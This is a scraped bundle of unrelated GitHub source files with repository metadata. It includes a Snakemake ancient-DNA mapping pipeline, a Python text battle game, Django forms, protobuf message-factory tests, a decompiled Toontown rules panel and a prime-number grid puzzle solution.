"{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort.bam" output: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", run: shell("bam-rmdup -o {output.rmdupss} {input.sort_to_left} --verbose") rule bam_to_fasta: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", ref = sequence_fasta, output: fasta = rmdupf_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.fasta" shell: "{schmutzi_endocaller} {input.rmdupss} {input.ref} {output.fasta}" rule index_rmdups: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam" output: indexed_rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam.bai" run: shell("samtools index -@ {g_threads} {input.rmdupss}") # reporting shizzle rule fqc_sample: input: fastq = samples + "{sample}_{part}_001.fastq.gz" output: folder = fqc_folder + "{sample}_{part}_001_fastqc.html" wildcard_constraints: part="R1|R2" shell: "fastqc -o {fqc_folder} {input.fastq}" rule fqc_trimmed: input: fastq = merged_trimmed + "{sample}_trimmed_merged.fq.gz" output: fastqc = fqctrim_folder + "{sample}_trimmed_merged_fastqc.html" shell: "fastqc -o {fqctrim_folder} {input.fastq}" rule mapDamage: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", indexed_rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam.bai" output: sample = md_folder + "{sample}/Fragmisincorporation_plot.pdf" params: settings = "--rescale", outfolder = md_folder + "{sample}" shell: "mapDamage -i {input.rmdupss} -r {sequence_fasta} -d {params.outfolder} {params.settings}" rule qualiMap: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam" output: results = directory(qualimap_folder + "{sample}/"), shell: "qualimap bamqc -bam {input} -outdir {output.results} -outformat HTML || mkdir -p {output.results}" rule mapping_report: input: quality = q30 + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30.bam", rmdup = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", trim_report = merged_trimmed + "{sample}_report.txt", qualimap = qualimap_folder + "{sample}/" output: mapping_report = mapping_folder + "{sample}_mapping_report.json" run: f = open(output.mapping_report, "w") f.write(json.dumps(parse_it(wildcards.sample, input.trim_report, input.quality, input.qualimap), indent=4, sort_keys=True)) f.close() rule agr_mapping_report: input: expand(mapping_folder + "{sample}_mapping_report.json", sample=get_files()) output: tsv = mapping_folder + "aggregated_mapping_report_mqc.tsv" run: aggr_report = open(output.tsv, "w") tsv = csv.writer(aggr_report, delimiter='\t') tsv.writerow(['sample', 'lh_total', 'lh_mergTrim', 'lh_mergOver', 'lh_kept', 'lh_chimer', 'q30_bam', 'qm_cov_mean', 'qm_cov_std', 'qm_reads']) for f in input: report = open(f, "r") data = json.load(report) tsv.writerow([ data['sample'],data['leeHom']['total'], data['leeHom']['merged_trim'], data['leeHom']['merged_overlap'], data['leeHom']['kept'], data['leeHom']['adapter_dimers_chimeras'], data['q30_bam'], data['qualimap']['mean'], data['qualimap']['std'], data['qualimap']['reads']]) report.close() aggr_report.close() rule multiqc: output: directory(current_dir + "Data/multiqc/") shell: "multiqc -o {output} Data/" rule haplogrep: input: fasta = rmdupf_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.fasta" output: haplogrep = hg_folder + "{sample}_trimmed_mapped_realigned_f4_q30_sort_rmdup_fasta_haplogrep.out" shell: "haplogrep --in {input.fasta} --format fasta --out {output.haplogrep}" rule haplocheck: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam" output: haplocheck = directory(hc_folder + "{sample}/") shell: "cloudgene run haplocheck@1.3.2 --files {input.rmdupss} --format bam --output {output.haplocheck}" mk_dirs()
[ "noreply@github.com" ]
ACStoneLab.noreply@github.com
4956ab547a3325427872b4a0ef50190a420e012b
a119b2a9d6532cd4fd8e824786913eecd539bb95
/PvP/Die at once/1.1.3 KRBT.py
1e29189e03ea299169a9194e6b962531a95c2521
[]
no_license
EEExphon/Simple_Text_Games_
622ab792136bd93a8eeb54e9a9a0f9ae30f77476
59e03bf054698c02dc988697c5d9f3e55d41006a
refs/heads/master
2022-09-13T02:32:10.510201
2020-06-03T08:58:14
2020-06-03T08:58:14
269,037,860
2
0
null
null
null
null
UTF-8
Python
false
false
16,136
py
print(" Welcome to VAN (PvP) by Richard. ") print(" 1.2.3") input(" WE HAVE THREE HEROS:(press enter to continue)") print(" YOU CAN USE 3 AFTER THE 4TH ROUND AND 4ROUNDS AFTER.") print(" BRUCE : |HP=150|a_10|1_强化a或2|2_+20HP |3_ +50HP |") print(" THE HIGHEST HP IS 150") print(" RICHARD : |HP=150|a_15|1_+10HP |2_ 30 |3_ ANI'HP/2|") print(" 生命值小于等于三十,a=20,2=40") print(" KATE : |HP=250|a_10|1_+30HP |2_100HP |3_伤害(250-HP)/2|") print(" THE HIGHEST HP IS 250") print(" TONY : |HP=150|a=10|1_三回合持续伤害,每回合10.|2_+20HP|3_伤害自己10HP,抉择:敌方HP-45 or 三回合持续攻击15/round|") print(" |4.消灭TONY并以LUIS大王代替之。LUIS:HP=100 a=20 1_ 30 2_+20HP 3_ 持续三回合攻击15/round|") PLAYER1=input("Now , player1 choose the hero:") while PLAYER1 != "BRUCE" and PLAYER1 != "RICHARD" and PLAYER1 != "KATE" and PLAYER1 != "TONY": PLAYER1=input("Now , player1 choose the hero:") if PLAYER1=="BRUCE": HPI=150 NI=150 if PLAYER1=="RICHARD": HPI=150 NI=150 if PLAYER1=="KATE": HPI=250 NI=250 if PLAYER1=="TONY": HPI=150 NI=150 PLAYER2=input("Now , player2 choose the hero:") while PLAYER2 != "BRUCE" and PLAYER2 != "RICHARD" and PLAYER2 != "KATE" and PLAYER2 != "TONY": PLAYER2=input("Now , player2 choose the hero:") if PLAYER2=="BRUCE": HPII=150 NII=150 if PLAYER2=="RICHARD": HPII=150 NII=150 if PLAYER2=="KATE": HPII=250 NII=250 if PLAYER2=="TONY": HPII=150 NII=150 input("(press enter to continue)") MODE=input("CHOOSE YOUR GAME MODE: 1-血战到底 2-打死你.") print(" AND NOW THE GAME BEGINS") print(" IF YOU DIED IN 1-19 ROUND ") print(" YOU ARE NOT THE LOSER") print(" YOU CAN STILL ADD HP!!!!!") print(" NEVER GIVE UP!") #----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- while HPI>0 and HPII>0: print("----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------") PL1=input(" NOW , PLAYER 1 CHOOSE WHAT TO DO.") if PLAYER1=="BRUCE": if PL1=="a": HPII=HPII-10 if PL1=="1": BNM1=input("a or 2") if BNM1=="a": if HPI<=140: HPI=HPI+10 else: HPI=150 HPII=HPII-10 if BNM1=="2": if HPI<=130: HPI=HPI+20 else: HPI=150 HPII=HPII-5 if PL1=="2": if HPI<=130: HPI=HPI+20 else: HPI=150 if PL1=="3": if HPI<=100: HPI=HPI+50 else: HPI=150 if PLAYER1=="RICHARD": if PL1=="a": if HPI>30: HPII=HPII-15 else: HPII=HPII-20 if PL1=="1": if HPI<=140: HPI=HPI+10 else: HPI=150 if PL1=="2": if HPI>30: HPII=HPII-30 else: HPII=HPII-40 if PL1=="3": HPII=HPII/2 if PLAYER1=="KATE": if PL1=="a": HPII=HPII-10 if PL1=="1": if HPI<=220: HPI=HPI+30 else: HPI=250 if PL1=="2": HPI=100 if PL1=="3": HPII=HPII-(250-HPI)/2 if PLAYER1=="TONY": TO1=0 TOTO1=0 MNMNMN1=1 if PL1=="a": HPII=HPII-10 if PL1=="1": TO1=4 if PL1=="2": if HPI>=130: HPI=150 if HPI<130: HPI=HPI+20 if PL1=="3": HPI=HPI-10 CHOOSE=input("choose 1 or 2:1-敌方HP-30 or 2-三回合持续攻击10/round") if CHOOSE=="1": HPII=HPII-45 if CHOOSE=="2": TOTO1=4 if PL1=="4": PLAYER1="LUIS" print("You are Luis The King now!") print(" ") print("LUIS:HP=100 a=20 1_ 30 2_+20HP 3_ 持续三回合攻击15/round") print(" ") print("WRYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY!!!") print(" ") HPI=100 NI=100 TO1=TO1-1 if TO1<=0: TO1=0 if TO1==1 or TO1==2 or TO1==3: HPII=HPII-10 TOTO1=TOTO1-1 if TOTO1<=0: TOTO1=0 if TOTO1==1 or TOTO1==2 or TOTO1==3: HPII=HPII-15 if PLAYER1=="LUIS": LUISGOOD1=0 if PL1=="a": HPII=HPII-20 if PL1=="1": HPII=HPII-30 if PL1=="2": if HPI>=80: HPI=100 if HPI<80: HPI=HPI+20 if PL1=="3": LUISGOOD1=4 LUISGOOD1=LUISGOOD1-1 if LUISGOOD1<=0: LUISGOOD1=0 if LUISGOOD1==1 or LUISGOOD1==2 or LUISGOOD1==3: HPII=HPII-15 #----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- PL2=input(" NOW , PLAYER 2 CHOOSE WHAT TO DO.") if PLAYER2=="BRUCE": if PL2=="a": HPI=HPI-10 if PL2=="1": BNM2=input("a or 2") if BNM2=="a": if HPII<=140: HPII=HPII+10 else: HPII=150 HPI=HPI-10 if BNM2=="2": if HPII<=130: HPII=HPII+20 else: HPII=150 HPI=HPI-5 if PL2=="2": if HPII<=130: HPII=HPII+20 else: HPII=150 if PL2=="3": if HPII<=100: HPII=HPII+50 else: HPII=150 if PLAYER2=="RICHARD": if PL2=="a": if HPII>30: HPI=HPI-15 else: HPI=HPI-20 if PL2=="1": if HPII<=140: HPII=HPII+10 else: HPII=150 if PL2=="2": if HPII>30: HPI=HPI-30 else: HPI=HPI-40 if PL2=="3": HPI=HPI/2 if PLAYER2=="KATE": if PL2=="a": HPI=HPI-10 if PL2=="1": if HPII<=220: HPII=HPII+30 else: HPII=250 if PL2=="2": HPII=100 if PL2=="3": HPI=HPI-(250-HPII)/2 if PLAYER2=="TONY": TO2=0 TOTO2=0 MNMNMN2=1 if PL2=="a": HPI=HPI-10 if PL2=="1": TO2=4 if PL2=="2": if HPII>=130: HPII=150 if HPII<130: HPII=HPII+20 if PL2=="3": HPII=HPII-10 CHOOSE=input("choose 1 or 2:1-敌方HP-30 or 2-三回合持续攻击10/round") if CHOOSE=="1": HPI=HPI-45 if CHOOSE=="2": TOTO2=4 if PL2=="4": PLAYER2="LUIS" print("You are Luis The King now!") print(" ") print("LUIS:HP=100 a=20 1_ 30 2_+20HP 3_ 持续三回合攻击15/round") print(" ") print("WRYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY!!!") print(" ") HPII=100 NII=100 TO2=TO2-1 if TO2<=0: TO2=0 if TO2==1 or TO2==2 or TO2==3: HPI=HPI-10 TOTO2=TOTO2-1 if TOTO2<=0: TOTO2=0 if TOTO2==1 or TOTO2==2 or TOTO2==3: HPI=HPI-15 if PLAYER2=="LUIS": LUISGOOD2=0 if PL2=="a": HPI=HPI-20 if PL2=="1": HPI=HPI-30 if PL2=="2": if HPII>=80: HPII=100 if HPII<80: HPII=HPII+20 if PL2=="3": LUISGOOD2=4 LUISGOOD2=LUISGOOD2-1 if LUISGOOD2<=0: LUISGOOD2=0 if LUISGOOD2==1 or LUISGOOD2==2 or LUISGOOD2==3: HPI=HPI-15 print("PLAYER ONE HP:",HPI,"/",NI) print("PLAYER TWO HP:",HPII,"/",NII) print("----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------") #---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- if HPI==0: print("PLAYER TWO IS THE WINNER !") if HPII==0: print("PLAYER ONE IS THE WINNER !") #============================================ENDING================================== ENDINGCHOICE=input("You can end this program by pressing enter . Or you can enter 'ending' to see the ending .") if ENDINGCHOICE=="ending" or ENDINGCHOICE=="ENDING": print("THIS GAME IS PRESENTED BY =BRICONIS= .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("WE WILL KEEP UPDATING THIS GAME UNTIL IT IS COMPLETELY COMPLETED .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("FOR TEAM BRICONIS , WE HAVE BRUCE , RICHARD , TONY AND LUIS .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("AND WE ARE ALL EXPECTING YOU TO HAVE A GOOD LIFE .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print(" ___________ ") print(" || BRUCE || ") print(" ||RICHARD|| ") print(" || TONY || ") print(" || LUIS || ") print(" ||<<<|>>>|| ") print(" ||THANKS || ") print(" || FOR || ") print(" ||PLAYING|| ") print(" ++++++++++++++++++++++++++++++++++++++++++++~~~~~~~~~~+++++++ ") print(" ========================================================================= ") print(" ===================================================================================== ") print(" =================================================================================================") print(" ||| |||") print(" ||| ____________________________________________________________________________ |||") print(" ||| {YOU DON'T HAVE TO LOOK AT THIS ENDING EVERY TIME AFTER YOU PLAY THIS GAME.} |||") print(" ||| {THIS ENDING IS FOR THOSE PEOPLE WHO IS THE FIRST TIME PLAYING THIS GAME .} |||") print(" ||| {WE MADE THIS GAME FOR YOU GUYS TO RELAX AND TO HAVE A LITTLE COMPETITION .} |||") print(" ||| { AND WE WILL BE VERY GLAD IF YOU GUYS LIKE IT .} |||") print(" ||| {I HAVE A LOT OF THINGS TO SAY , BUT I'M AFRAID OF THIS HOUSE WOULD BE TOO } |||") print(" ||| { HIGH .} |||") print(" ||| {WELL , I SUDDENLY REALIZED THAT IT IS NON OF MY BUSINESS HOW HIGH THIS } |||") print(" ||| { HOUSE WILL BE .} |||") print(" ||| {HOWEVER , DO YOU THINK THIS IS A GOOD EXPERIENCE of.......................} |||") print(" ||| {..........................................................TALKING WITH ME?} |||") print(" ||| {WISH YOU HAVE A GOOD TIME DURING ENJOYING YOUR LIFE !} |||") print(" ||| {IF YOU THINK YOUR LIFE IS UNLUCKY.........................................} |||") print(" ||| { WISH YOU WILL BE LUCKY TOMORROW .} |||") print(" ||| { SEE YOU NEXT TIME!!!!!!!!} |||") print(" ||| ---------------------------------------------------------------------------- |||") print(" ||| |||") print(" ||| |||") print(" ||| |||") print(" ||| ____________ |||") print(" ||| | | |||") print(" ||| | | |||") print(" ||| | | |||") print(" ||| | @ | |||") print(" ||| | | |||") print(" ||| | | |||") print(" ||| | | |||") print(" #################################################################################################") print(" #################################################################################################") print(" #################################################################################################") print("\n") input(" press enter to open the door...... ") input(" AND...............................it is locked. Press enter again please. ") print(" THERE IS NOTHING IN HERE , DUDE ! WHY DID YOU BELIEVE IN RICHARD'S LIE!!!!!!!!!!!!!!!!") input("=============================================THANKS FOR PLAYING!=============================================") print(" (and being an ideat.hahaha!)") else: print("=============================================THANKS FOR PLAYING!=============================================")
[ "66343319+EEExphon@users.noreply.github.com" ]
66343319+EEExphon@users.noreply.github.com
a84ac936437258717daeea9c08499dcb1c33ff47
3c5e6b918166ad716010521fc97511d92a459297
/tech_academy/forms.py
fdc814cfff959a4e0d59424f276b561b077e05e5
[]
no_license
akenz1901/Tech_Academy
53bbd60825e2e9c50300d9e74f8182f67dfe8746
59a7679fe603edab8413a97654c20038a059c382
refs/heads/main
2023-08-01T01:57:41.829603
2021-09-29T18:39:35
2021-09-29T18:39:35
408,521,010
0
0
null
null
null
null
UTF-8
Python
false
false
317
py
from django import forms from .models import Cohort, Native class CohortForm(forms.ModelForm): class Meta: model = Cohort fields = ('name', 'description') class NativeForm(forms.ModelForm): class Meta: model = Native fields = ('first_name', 'last_name', 'image', 'cohort')
[ "michael_aka1@icloud.com" ]
michael_aka1@icloud.com
12ed10992acff4d7f93ed92ce7a5f1479b3bbcd2
360009e71b07da5cd99660c0cd14bfb0b989fa98
/views.py
eea045eda30457221cc8d17c3baa2ac8665ffe1a
[]
no_license
xml-star/dangdang
4438b7e2be3eaf3d428f60b173a5305635b2953c
6360350cede21f0b33506fe8004eb4981f76e73b
refs/heads/master
2022-12-29T16:43:09.940206
2020-10-19T13:51:45
2020-10-19T13:51:45
305,377,233
0
0
null
null
null
null
UTF-8
Python
false
false
148
py
this is my first view this is my second view this is my third view this is my fifth view this is my sixth view this is my 7 view this is my 8 views
[ "xml@qq.com" ]
xml@qq.com
b4220ae436274742cb4a64b35868e2a7c4a956f0
fd1dba8223ad1938916369b5eb721305ef197b30
/AtCoder/AGC/agc027/agc027d.py
b8ef2fee8aa0ffdd70bf993f73acf5770998734c
[]
no_license
genkinanodesu/competitive
a3befd2f4127e2d41736655c8d0acfa9dc99c150
47003d545bcea848b409d60443655edb543d6ebb
refs/heads/master
2020-03-30T07:41:08.803867
2019-06-10T05:22:17
2019-06-10T05:22:17
150,958,656
0
0
null
null
null
null
UTF-8
Python
false
false
1,046
py
N = int(input()) if N == 2: print(4, 7) print(23, 10) exit() a= [[0] * N for _ in range(N)] def sieve(n): ''' :param n: :return: n以下の素数のリストを返す エラトステネスの篩→O(n log log n) ''' prime = [] is_prime = [True] * (n + 1) #is_prime[i] = Trueならiは素数 is_prime[0] = False is_prime[1] = False for i in range(2, n+1): if is_prime[i]: prime.append(i) for j in range(2 * i, n + 1, i): is_prime[j] = False return prime P = sieve(8000) #len(P) > 1000 def p1(k): return P[(k // 2) + 1] def p2(k): if k >= 0: return P[(k // 2) + N + 1] else: return P[k // 2] for i in range(N): for j in range(N): if (i + j) % 2 == 0: a[i][j] = p1(i + j) * p2(i - j) else: a[i][j] = p1(i + j + 1) * p1(i + j - 1) * p2(i - j + 1) * p2(i - j - 1) + 1 for i in range(N): print(' '.join(map(str, a[i])))
[ "s.genki0605@gmail.com" ]
s.genki0605@gmail.com
ef2c699870744ffa06c10e14205661496f9ab442
545afb3cfe89f82b558faa5b5b28c28b8e3effce
/venv/Lib/site-packages/google/protobuf/internal/message_factory_test.py
3a2cbdeb8bedd3ae240aa5b38eca968c61e35421
[ "MIT" ]
permissive
parthpankajtiwary/keras-groundup
24ad45a4b872e6d77fff8a6f4a3a6d60124a0628
0df0844e7d9dca741fad0965761a12f72ee51f07
refs/heads/master
2022-11-09T22:34:35.716466
2019-10-01T11:01:59
2019-10-01T11:01:59
210,914,101
0
1
MIT
2022-10-25T06:47:55
2019-09-25T18:31:49
Python
UTF-8
Python
false
false
9,896
py
#! /usr/bin/env python # # Protocol Buffers - Google's data interchange format # Copyright 2008 Google Inc. All rights reserved. # https://developers.google.com/protocol-buffers/ # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Tests for google.protobuf.message_factory.""" __author__ = 'matthewtoia@google.com (Matt Toia)' try: import unittest2 as unittest #PY26 except ImportError: import unittest from google.protobuf import descriptor_pb2 from google.protobuf.internal import api_implementation from google.protobuf.internal import factory_test1_pb2 from google.protobuf.internal import factory_test2_pb2 from google.protobuf.internal import testing_refleaks from google.protobuf import descriptor_database from google.protobuf import descriptor_pool from google.protobuf import message_factory @testing_refleaks.TestCase class MessageFactoryTest(unittest.TestCase): def setUp(self): self.factory_test1_fd = descriptor_pb2.FileDescriptorProto.FromString( factory_test1_pb2.DESCRIPTOR.serialized_pb) self.factory_test2_fd = descriptor_pb2.FileDescriptorProto.FromString( factory_test2_pb2.DESCRIPTOR.serialized_pb) def _ExerciseDynamicClass(self, cls): msg = cls() msg.mandatory = 42 msg.nested_factory_2_enum = 0 msg.nested_factory_2_message.value = 'nested message value' msg.factory_1_message.factory_1_enum = 1 msg.factory_1_message.nested_factory_1_enum = 0 msg.factory_1_message.nested_factory_1_message.value = ( 'nested message value') msg.factory_1_message.scalar_value = 22 msg.factory_1_message.list_value.extend([u'one', u'two', u'three']) msg.factory_1_message.list_value.append(u'four') msg.factory_1_enum = 1 msg.nested_factory_1_enum = 0 msg.nested_factory_1_message.value = 'nested message value' msg.circular_message.mandatory = 1 msg.circular_message.circular_message.mandatory = 2 msg.circular_message.scalar_value = 'one deep' msg.scalar_value = 'zero deep' msg.list_value.extend([u'four', u'three', u'two']) msg.list_value.append(u'one') msg.grouped.add() msg.grouped[0].part_1 = 'hello' msg.grouped[0].part_2 = 'world' msg.grouped.add(part_1='testing', part_2='123') msg.loop.loop.mandatory = 2 msg.loop.loop.loop.loop.mandatory = 4 serialized = msg.SerializeToString() converted = factory_test2_pb2.Factory2Message.FromString(serialized) reserialized = converted.SerializeToString() self.assertEqual(serialized, reserialized) result = cls.FromString(reserialized) self.assertEqual(msg, result) def testGetPrototype(self): db = descriptor_database.DescriptorDatabase() pool = descriptor_pool.DescriptorPool(db) db.Add(self.factory_test1_fd) db.Add(self.factory_test2_fd) factory = message_factory.MessageFactory() cls = factory.GetPrototype(pool.FindMessageTypeByName( 'google.protobuf.python.internal.Factory2Message')) self.assertFalse(cls is factory_test2_pb2.Factory2Message) self._ExerciseDynamicClass(cls) cls2 = factory.GetPrototype(pool.FindMessageTypeByName( 'google.protobuf.python.internal.Factory2Message')) self.assertTrue(cls is cls2) def testGetMessages(self): # performed twice because multiple calls with the same input must be allowed for _ in range(2): # GetMessage should work regardless of the order the FileDescriptorProto # are provided. In particular, the function should succeed when the files # are not in the topological order of dependencies. # Assuming factory_test2_fd depends on factory_test1_fd. self.assertIn(self.factory_test1_fd.name, self.factory_test2_fd.dependency) # Get messages should work when a file comes before its dependencies: # factory_test2_fd comes before factory_test1_fd. messages = message_factory.GetMessages([self.factory_test2_fd, self.factory_test1_fd]) self.assertTrue( set(['google.protobuf.python.internal.Factory2Message', 'google.protobuf.python.internal.Factory1Message'], ).issubset(set(messages.keys()))) self._ExerciseDynamicClass( messages['google.protobuf.python.internal.Factory2Message']) factory_msg1 = messages['google.protobuf.python.internal.Factory1Message'] self.assertTrue(set( ['google.protobuf.python.internal.Factory2Message.one_more_field', 'google.protobuf.python.internal.another_field'],).issubset(set( ext.full_name for ext in factory_msg1.DESCRIPTOR.file.pool.FindAllExtensions( factory_msg1.DESCRIPTOR)))) msg1 = messages['google.protobuf.python.internal.Factory1Message']() ext1 = msg1.Extensions._FindExtensionByName( 'google.protobuf.python.internal.Factory2Message.one_more_field') ext2 = msg1.Extensions._FindExtensionByName( 'google.protobuf.python.internal.another_field') self.assertEqual(0, len(msg1.Extensions)) msg1.Extensions[ext1] = 'test1' msg1.Extensions[ext2] = 'test2' self.assertEqual('test1', msg1.Extensions[ext1]) self.assertEqual('test2', msg1.Extensions[ext2]) self.assertEqual(None, msg1.Extensions._FindExtensionByNumber(12321)) self.assertEqual(2, len(msg1.Extensions)) if api_implementation.Type() == 'cpp': self.assertRaises(TypeError, msg1.Extensions._FindExtensionByName, 0) self.assertRaises(TypeError, msg1.Extensions._FindExtensionByNumber, '') else: self.assertEqual(None, msg1.Extensions._FindExtensionByName(0)) self.assertEqual(None, msg1.Extensions._FindExtensionByNumber('')) def testDuplicateExtensionNumber(self): pool = descriptor_pool.DescriptorPool() factory = message_factory.MessageFactory(pool=pool) # Add Container message. f = descriptor_pb2.FileDescriptorProto() f.name = 'google/protobuf/internal/container.proto' f.package = 'google.protobuf.python.internal' msg = f.message_type.add() msg.name = 'Container' rng = msg.extension_range.add() rng.start = 1 rng.end = 10 pool.Add(f) msgs = factory.GetMessages([f.name]) self.assertIn('google.protobuf.python.internal.Container', msgs) # Extend container. f = descriptor_pb2.FileDescriptorProto() f.name = 'google/protobuf/internal/extension.proto' f.package = 'google.protobuf.python.internal' f.dependency.append('google/protobuf/internal/container.proto') msg = f.message_type.add() msg.name = 'Extension' ext = msg.extension.add() ext.name = 'extension_field' ext.number = 2 ext.label = descriptor_pb2.FieldDescriptorProto.LABEL_OPTIONAL ext.type_name = 'Extension' ext.extendee = 'Container' pool.Add(f) msgs = factory.GetMessages([f.name]) self.assertIn('google.protobuf.python.internal.Extension', msgs) # Add Duplicate extending the same field number. f = descriptor_pb2.FileDescriptorProto() f.name = 'google/protobuf/internal/duplicate.proto' f.package = 'google.protobuf.python.internal' f.dependency.append('google/protobuf/internal/container.proto') msg = f.message_type.add() msg.name = 'Duplicate' ext = msg.extension.add() ext.name = 'extension_field' ext.number = 2 ext.label = descriptor_pb2.FieldDescriptorProto.LABEL_OPTIONAL ext.type_name = 'Duplicate' ext.extendee = 'Container' pool.Add(f) with self.assertRaises(Exception) as cm: factory.GetMessages([f.name]) self.assertIn(str(cm.exception), ['Extensions ' '"google.protobuf.python.internal.Duplicate.extension_field" and' ' "google.protobuf.python.internal.Extension.extension_field"' ' both try to extend message type' ' "google.protobuf.python.internal.Container"' ' with field number 2.', 'Double registration of Extensions']) if __name__ == '__main__': unittest.main()
[ "parthpankajtiwary@gmail.com" ]
parthpankajtiwary@gmail.com
08a9f916a169cc7477429191108a198d7dbcfc99
7949f96ee7feeaa163608dbd256b0b76d1b89258
/toontown/minigame/MinigameRulesPanel.py
e895a9cd4459e40afe609b5becb4e06f92614d2b
[]
no_license
xxdecryptionxx/ToontownOnline
414619744b4c40588f9a86c8e01cb951ffe53e2d
e6c20e6ce56f2320217f2ddde8f632a63848bd6b
refs/heads/master
2021-01-11T03:08:59.934044
2018-07-27T01:26:21
2018-07-27T01:26:21
71,086,644
8
10
null
2018-06-01T00:13:34
2016-10-17T00:39:41
Python
UTF-8
Python
false
false
2,924
py
# File: t (Python 2.4) from direct.task import Task from direct.fsm import StateData from toontown.toonbase.ToontownGlobals import * from direct.gui.DirectGui import * from pandac.PandaModules import * from toontown.toonbase import ToontownTimer from toontown.toonbase import TTLocalizer import MinigameGlobals class MinigameRulesPanel(StateData.StateData): def __init__(self, panelName, gameTitle, instructions, doneEvent, timeout = MinigameGlobals.rulesDuration): StateData.StateData.__init__(self, doneEvent) self.gameTitle = gameTitle self.instructions = instructions self.TIMEOUT = timeout def load(self): minigameGui = loader.loadModel('phase_4/models/gui/minigame_rules_gui') buttonGui = loader.loadModel('phase_3.5/models/gui/inventory_gui') self.frame = DirectFrame(image = minigameGui.find('**/minigame-rules-panel'), relief = None, pos = (0.13750000000000001, 0, -0.66669999999999996)) self.gameTitleText = DirectLabel(parent = self.frame, text = self.gameTitle, scale = TTLocalizer.MRPgameTitleText, text_align = TextNode.ACenter, text_font = getSignFont(), text_fg = (1.0, 0.33000000000000002, 0.33000000000000002, 1.0), pos = TTLocalizer.MRgameTitleTextPos, relief = None) self.instructionsText = DirectLabel(parent = self.frame, text = self.instructions, scale = TTLocalizer.MRPinstructionsText, text_align = TextNode.ACenter, text_wordwrap = TTLocalizer.MRPinstructionsTextWordwrap, pos = TTLocalizer.MRPinstructionsTextPos, relief = None) self.playButton = DirectButton(parent = self.frame, relief = None, image = (buttonGui.find('**/InventoryButtonUp'), buttonGui.find('**/InventoryButtonDown'), buttonGui.find('**/InventoryButtonRollover')), image_color = Vec4(0, 0.90000000000000002, 0.10000000000000001, 1), text = TTLocalizer.MinigameRulesPanelPlay, text_fg = (1, 1, 1, 1), text_pos = (0, -0.02, 0), text_scale = TTLocalizer.MRPplayButton, pos = (1.0024999999999999, 0, -0.20300000000000001), scale = 1.05, command = self.playCallback) minigameGui.removeNode() buttonGui.removeNode() self.timer = ToontownTimer.ToontownTimer() self.timer.reparentTo(self.frame) self.timer.setScale(0.40000000000000002) self.timer.setPos(0.997, 0, 0.064000000000000001) self.frame.hide() def unload(self): self.frame.destroy() del self.frame del self.gameTitleText del self.instructionsText self.playButton.destroy() del self.playButton del self.timer def enter(self): self.frame.show() self.timer.countdown(self.TIMEOUT, self.playCallback) self.accept('enter', self.playCallback) def exit(self): self.frame.hide() self.timer.stop() self.ignore('enter') def playCallback(self): messenger.send(self.doneEvent)
[ "fr1tzanatore@aol.com" ]
fr1tzanatore@aol.com
c94905a59ff5189af34e689384643c0f2425d9aa
ed566ffe316fd54aaf4945ce18bb1d9d95597a1b
/www/webframe.py
190d96d36c6b29dc91e2344608fcd8cf59e66120
[]
no_license
wbjxxzx/aiohttp_blog
b63f7339c0d081a1525d12223ee8d882e2f80273
